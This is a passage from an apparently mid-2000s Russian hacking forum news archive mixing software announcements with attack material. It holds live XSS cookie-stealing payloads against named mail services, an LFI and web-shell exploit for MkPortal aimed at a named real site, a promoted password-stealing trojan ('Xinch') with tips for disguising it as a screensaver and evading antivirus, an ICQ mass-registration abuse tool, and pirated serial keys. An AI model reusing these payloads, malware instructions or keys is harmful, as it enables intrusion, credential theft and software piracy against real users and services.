Архив новостей (2004-2015 год)

Статус
Закрыто для дальнейших ответов.
Отслеживать
ICQ 5 Rambler
http://news.xss.pro/ricq.jpg
Внимание! Мы опубликовали эту новость одними из первых!
Все из нас знают одну из самых известных почтово-поисковых систем Rambler. Ну тык вот, Rambler совместно с AOL выпустили свою аську, ака свой IM пейджер.
Отличается он от обычной аськи немногим:
1) для свободного юзанья клиента надо иметь мыльце на рамблере. (Если же вы уже располагаете и тем, и другим, необходимо будет "привязать" номер аськи к идентификатору Rambler. )
2) добавлена функция проверки мыла на рамблере.
3) Также вместо стандартного поиска по гуглу теперь там поиск по рамблеру.
4) Полностью переведен интерфейс и системные сообщения

Кстати баннеры сволочи не убрали, а могли бы. Придется делать патч...

Размер программы всего 3.89 Мб.
:zns2: Домашняя страница
:zns5: Скачать|Download

З.Ы.: Ацтой эта ася....
При копировании материала, ссылка на первоисточник обязательна. (http://xss.pro/)
 
finalrevosforwebcopy.jpg

Фильм Revolution OS повествует о создании GNU/GPL и системы Linux". В фильме сами Линус Торвальдс, Ричард Столмен и другие известные люди рассказывают что и как происходило и будет происходить в сообществе Open Source. Создатель фильма Revolution OS не против что бы его фильм могли беспрепятственно копировать, тем самым подтверждая на деле приверженность одному из принципов Open Source, copirightleft. "REVOLUTION OS" - дурашливый, но умный фильм. С одной стороны - интродукция к идеологии "открытого программного кода", своего рода манифест хакерской этики. С другой - классическая драма в хакерском стиле: хакеры против Майкрософт. Радикальное арт сообщество буквально очаровано столкновением двух практик: хакерской и мелкомягкой (как принято называть Майкрософт в среде русскоязычных хакеров). Фильм с начала 2001 года в США посмотрели все имеющие мало-мальское отношение к медиа арту.
:zns2: Домашняя страница
:zns5: Скачать|Download
:zns5: Зеркало|Mirror
:rus: Русик

Как видно, фильм на инглише. Схожу в нет клуб, скачаю и переведу...Поглядим.
 
citlogo8.gif

Вот и попала в паблик база citforum.ru. Тоесть вовсе их не хакнули, а просто вложили оффлайн версию.
Вообщем обновление зеркала ежедневно в 20-00.
:zns5: Скачать|Download 320 метрофф.

Также образ можно купить на CD.

Источник: web-hack
 
501 Web Site Secrets: Unleash the Power of Google, Amazon, eBay and More
0764568728.jpg

Ну я думаю название говорит само за себя. Книга целиком на инглише. Факты, изложенные в ней достаточно интересны.
:zns5: Скачать|Download
 
Русская версия Windows Vista Beta 1
vista8xi.jpg

Полностью русская версия Windows Vista. Дистрибьютив разрезан на 20 частей каждая по 49 мегабайт. Эта сборка протестирована и полностью работоспособна. Для распаковки нужен архиватор 7Zip. Версия Windows Vista Beta 1 сборка 5112. Вобщем весит ~900 МБ. У кого есть возможность - скачивайте, не пожалеете.
Также хочу добавить, что данная руссификация является вполне законной, поскольку не претендует на статус "официальной", т.е. это просто кустарная модификация.

:zns5: Скачиваем по частям:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

Источник: hack-all
 
Вот свежие XSS на новой почте:
Код: 
http://www.newmail.ru/users/reg.dhtml?login=skv">[script]alert(document.cookie[/script]
http://www.newmail.ru/users/reg.dhtml?quest=skv">[script]alert(document.cookie[/script]
http://www.newmail.ru/users/reg.dhtml?answ=skv">[script]alert(document.cookie[/script]
На момент постинга XSS еще работала.[New$paN]
 
XSS на hotbox.ru
http://news.xss.pro/pochta.ru.gif
Вот и в этом сервисе найдены свежие дырочки....точнее пока дырочка. На момент написания баг еще даже работал.

Код: 
http://hotbox.ru/info.php?lng=ru&mid=?login=
skv%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

Все выровнять в 1 строку)))[New$paN]
 
Первая бета-версия Firefox 1.5
fox_bg.gif

Среди основных нововведений Firefox 1.5 сообщество Mozilla Foundation упоминает встроенную систему автоматического обновления, улучшенную и ускоренную навигацию, возможность сортировки вкладок посредством механизма Drag and drop и расширенную поддержку операционной системы Apple Mac OS. Кроме того, улучшилась эффективность встроенного блокировщика всплывающих окон, а в список поисковых систем попал Answers.com. Функция Clear Private Data позволяет быстро удалять персональную информацию через меню или с использованием сочетания клавиш. Наконец, разработчики устранили большое количество ошибок.

:zns5: Скачать|Download - для виндозз
:zns5: Скачать|Download - для пингвина
:zns5: Скачать|Download - для мачных наркоманов.

:zns2: А тут могут почитать все
 
Новый ICQ Regger
Товарисчи из Rambler, после открытия своего собственного вонючего сервиса Rambler ICQ, сделали хакерам презент. Презент в том, что можно регить ICQ номера через веб так, чтобы AOL не запалили. А теперь серьезно и по делу:

Регая мыло, и получая девятизнак, можно было нажать 'назад', и потом 'послать' выводился новый номер.
Регистрировать ручками 'назад', 'послать', 'копировать в блокнот' быстро надоело.
Эта версия регала более 1000 номеров на одно рамблеровское мыло.
Бага была прикрыта, администрация Рамблера.
Сейчас прога регит ~30 номеров на 1 акк, после этого акком воспользоваться невозможно.
Прогу юзать нужно так:
1)регаем мыло на рамблере
2)мыло ДОЛЖНО быть примерно такое: kjhsgdhj;jhgjg3
где kjhsgdhj логин а jhgjg3 будущий пароль ОТ НОМЕРА
3)вставляем в прогу, ставим потоки, жмем 'старт'

Прога регает номера, и потом останавливается. Номера копируем из окошечка в блокнот.
Чтобы вы 'много' не баловались с прогой, она иногда аварийно закрывается

:zns5: Скачать|Download
 
QuickTime Pro 7.0.2.120 for Windows - Final
quicktime6at.gif

Плеер быстрого времени от яблочных давно завоевал всеобщее признание. Но признали его вовсе не потому что он такой мегапуперсупер плеер а потому, что некоторые стандарты файлов проигрывает только он. Вот например список фич, поддерживаемых быстрым временем:
*Поддержка формата MPEG-4. Вы получаете возможность проигрывать и создавать файлы в формате .mp4, которые могут проигрываться на любом MPEG-4 совместимом мультимедийном проигрывателе (например, DivX).
*Поддержка AAC Audio. Этот формат считается новым словом в области профессиональной компрессии звука, превосходящим по некоторым параметрам существующий MPEG Layer 3 (MP3).
*Функция Instant-On. Она позволяет получить практически моментальное плавное продолжение воспроизведения для on-line видео и аудио потока при прокрутке его фрагмента.
*Skip Protection. Патентованная технология, увеличивающая надёжность воспроизведения мультимедийного потокового сигнала при трансляции в Internet.
*Новый интерфейс и новые дополнительные возможности: видео кодек DVC Pro PAL, поддержка Macromedia Flash 5, новый кодек JPEG 2000 для MacOS X, улучшенная поддержка AppleScript, более удобная работа с закладками в Избранном (Favorites).

:zns2: Домашняя страница
:zns5: Скачать|Download - 31.7 MB
:zns5: Скачать|Download - вместе с iTunes - 32.6 MB

:zns4: Регистрация|Registration Pro version (Edit/Preferences/Register):
Код: 
Name: Dawn M Fredette
Key: 4UJ2-5NLF-HFFA-9JW3-X2KV
 
Собственно Xinch - бесплатный трой.

Возможности:
- ICQ99b-2003a/Lite/ICQ2003Pro
- Miranda ICQ
- Trillian ICQ&AIM
- &RQ
- Mozilla
- Opera
- E-Dialer
- Becky
- The Bat!, The Bat! 2 (почта)
- Outlook/Outlook Express (pop3/imap)
- IE автозаполнение & защищённые сайты & ftp (поддерживаются 9x/Me/2k/xp)
- FAR Manager (ftp)
- Win/Total Commander (ftp)
- CuteFTP
- WS_FTP
- Интернет (поддерживаются 9x/Me/2k/xp)
- Системная информация: OS, memory, CPU, hard drives, logged user, host name, IP
- Завершение процессов (фаерволов и антивирусов)
- Обход фаервола
- Отправка e-mail через SMTP
- Отправка на HTTP (в зависимости от скрипта, несколько возможностей)
- Автозагрузка
- E-mail сообщения криптуются
- Самоудаление
- Консоль (Telnet прилагается)
- Закачка и запуск файла
- Добавление иконки
- Упаковка тремя способами
- Три вида отправки паролей или "не отправка"
- Размер троя после упаковки около 25Kb (это при включении всех модулей!)
- Модульная система, возможность отключать модули для уменьшения размера
- Невидимость антивирусам (наверное не на всегда)
- Xinch будет обновляться
- Ещё несколько возможностей

Папки:
1. DBase - директория для бд Parser'а
2. Scripts - скрипты для отправки по HTTP (читайте там ReadMe)
3. Xinch - основные исходники и компилятор
4. Hide - утилиты для скрытия Xinch (описание ниже)
5. Telnet - для подключения к консоли
6. Reports - папка откуда Parser сканирует отчёт (просканированные файлы удаляются!)

Немного советов от создателя:

Для эффективного "впаривания" Xinch нужно:
1. Ищем в инете классную заставу в формате .scr
2. Достаём из неё иконку с помощью любого редактора ресурсов
3. Ставим в билдере заставку как аттач и иконку от заставки
4. Сжимаем с помощью FSG 1.33
5. Прячем (как это сделать написано чуть ниже)
6. Переименовываем файл .exe в .scr
7. Получаем заставку, в которой очень трудно различить Хинча
8)
.exe файлы можно переименовывать в .scr,.bat,.com

Инструкция:
Запустите Builder.exe чтоб скомпилить Хинча
Запустите Parser.exe чтоб расшифровать пароли
Little_Parser.exe для быстрого преобразования report.bin в читабельный out.txt

[--==Xinch Official FAQ==--]

Вопрос: Как пользоваться утилитами из папки Hide?
Ответ: Если вдруг Xinch начнёт ловится, то его придётся скрывть,
делается это так:

1) При компиляции выбираем упаковщик FSG 1.33
2) Обрабатываем файл через CryptXinch.exe:
Выбираем файл, выбираем в списке tElock, нажимаем ProtectEP
3) Обрабатываем файл через ClearXinch.exe
Указываем путь к файлу и жмём кнопку..
Готово.

Утилита Hiew вообщем то и не нужна, так как вместо неё я сделал автоматический
ClearXinch.exe, который всё то что нужно было бы делать вручную в Hiew делает
сам автоматом. ths to me =)

Внимание!! Этот метод не действует, если поставлены модули, который создают Dll,
ловящиеся антивирусом.
-------------------------------------------------------------------------------

Вопрос: Хинча не компилится!!! Помогите!!!
Ответ: Отошлите на xepakc@mail.ru файл Xinch\Report.inc, поясните всегда ли трой
не компилится, напишите полную версию Windows, компилируется ли обычный Pinch,
возможную причину или любые другие нужные пояснения
Если программа выдаёт очень странные надписи с ошибками, то прикрепляйте скриншоты

-------------------------------------------------------------------------------

Вопрос: Как пользоваться консолью?
Ответ: Открываем telnet и вводим open "Ip_адрес_где_запущена_консоль [порт]"

-------------------------------------------------------------------------------

Вопрос: Почему трой так мал?
Ответ: Потому что он не расшифровывает пароли, а только отсылает их хеши

-------------------------------------------------------------------------------

Вопрос: Как обойти фаервол?
Ответ: Используйте HTTP метод отправки паролей

-------------------------------------------------------------------------------
Хинч написан только для ознакомления, автор не несёт никакой ответственности
за использование Хинча или его частей. Чтобы защититься от Хинча используйте
антивирусы (например AVP) с новейшими базами и забудьте про Internet Explorer,
используйте лучше замечательную Opera 8
-------------------------------------------------------------------------------

:zns5: Скачать|Download Xinch 1.20


Источник: www.hack-all.net
 
UIN Searchability Checker
UIN_Searchability_Checker.gif

Это программа для сортировки УИНов на Invisible и НЕ-Invisible.
Очень нужная вещь в хозяйстве.
Все те номера которые находятся поиском, то есть НЕневидимки он кладёт в searchable.txt, а те которые невидимки в unsearchable.txt.
:zns5: Скачать|Download
 
PHP Processor 2.0 Beta 2 beta
http://news.xss.pro/phpprocessor.jpg
Инструмент для анализа, оптимизации и защиты PHP файлов посредством удаления ненужных данных, все имена переменных и функций, если требуется, могут быть заменены бессмысленными символами, что позволяет сделать код нечитабельным.
Как результат, файлы становятся меньше, занимают меньше дискового пространства, загружаются быстрее. Прямо из программы можно быстро создать резервную копию файлов. Программа имеет понятный, многоязычный интерфейс.
:zns5: Скачать|Download
 
Adobe InCopy CS2 4.0
incopybox.gif

Adobe InCopy CS2 4.0 - профессиональный текстовый редактор, тесно интегрированный с пакетом Adobe InDesign CS2.
Предназначен Adobe InCopy CS2 4.0 для писателей, журналистов, редакторов и всех тех, кто, так или иначе, связан с процессами печати и верстки, обладает расширенным набором инструментов, позволяющих облег-чить процесс редактирования и сэкономить время. Adobe InCopy CS2 использует новый пользовательский интерфейс, и поддержи-вает улучшенные функции коллективной работы. В числе других его особенностей отмечается возможность создания, импорта, редактирования и экспорта документов в формате XML, а также средства динамической проверки правописания. Adobe InCopy CS2 4.0 дает возможность пользователям импортировать, экспортировать и редактировать документы XML-формата. А поскольку другой продукт Adobe InDesign CS2 также позволяет работать с этим форматом, то документы, обработанные в InCopy CS2, могут с легкостью импортироваться в InDesign CS для их форматирования и верстки. Такое разделение процессов обработки формы и содержания позволяет подготавливать в nCopy CS2 4.0 тексты, а потом с легкостью использовать результат для верстки в других программах, например в InDesign CS2, с которым он тесно интегрируется.
:zns5: Скачать|Download
 
Хакинг и антихакинг: защита и нападение
http://news.xss.pro/zachitinapad.jpg
Ура, товарищи! Вот моя первая книга, с которой я начинал свою деятельность когда-то давно. Теперь она доступна в электронном варианте!!

Автор: Alex WebKnacKer
Издательство: Лучшие Книги, 2004 г.
Мягкая обложка, 400 стр.
ISBN 5-93673-025-5
Тираж: 4000 экз.
Формат: 70x100/16
Размер: 27,8 Мб (2 архива 14,7Мб + 13,1Мб)

От издателя:
Впервые! Защита и нападение в практических шагах.
В книге рассмотрены более 100 инструментальных программ для создания защиты и проверки ее надежности.

:zns5: Скачать|Download - часть 1
:zns5: Скачать|Download - часть 2
 
Вот еще 2 книженции по Си:

C++ Network Programming, Volume 2: Systematic Reuse with ACE and Frameworks
cpp_net_prog_t.jpg

C++ Network Programming, Volume 2: Systematic Reuse with ACE and Frameworks
By Douglas C. Schmidt, Stephen D. Huston

Publisher : Addison Wesley
Pub Date : October 29, 2002
ISBN : 0-201-79525-6
Pages : 384

File Size: 2.14 Mb

:zns5: Скачать|Download

C++ Templates: The Complete Guide
cpp_temp_guide_t.jpg

C++ Templates: The Complete Guide
By David Vandevoorde, Nicolai M. Josuttis

Publisher : Addison Wesley
Pub Date : November 12, 2002
ISBN : 0-201-73484-2
Pages : 552

Size: 725 Kb (.CHM)
:zns5: Скачать|Download
 
MkPortal 1.0.1 Final - Remote command execution
http://news.xss.pro/mkport.jpg
Уязвимость находится в сценарии index.php и позволяет получить содержимое любого файла (кроме .php).

Код: 
http://site.com/index.php?ind=../../../../../../../../../../../../etc/passwd%00

С помощью данного бага становится элементарным получить полноценный веб-шелл на системе. Алгоритм: регистрируемся на форуме (он идет в комплекте вместе с движком), заливаем в качестве аватара картинку, содержащую код веб-шелла и вызываем её вышеописанным способом, добавляя необходимые параметры.

Пример:
Код: 
http://blackrose.nl/?ind=../../../../../../../../../../../../etc/passwd%00
http://blackrose.nl/?ind=../../forum/uploads/AVATAR_name.gif%00&cmd=ls -la

Источник: web-hack
 
COREL Paint Shop Pro X 10.0
pspx_na_128.jpg

Всемирно известная компания СOREL выпустила десятую версию своего графического редактора COREL Paint Shop Pro X ( ранее известного под именем Jasc Paint Shop Pro ). Это – первое обновление программы с октября прошлого года, когда Corel приобрела компанию Jasc, которая занималась разработкой этой программы.
Программка хочу сказать не плохая. поюзать стоит.


:zns5: COREL Paint Shop Pro X 10.0 [104.6 MB]
serial:
Код: 
PR10CTN-7812924-FFG
 
Статус
Закрыто для дальнейших ответов.
Верх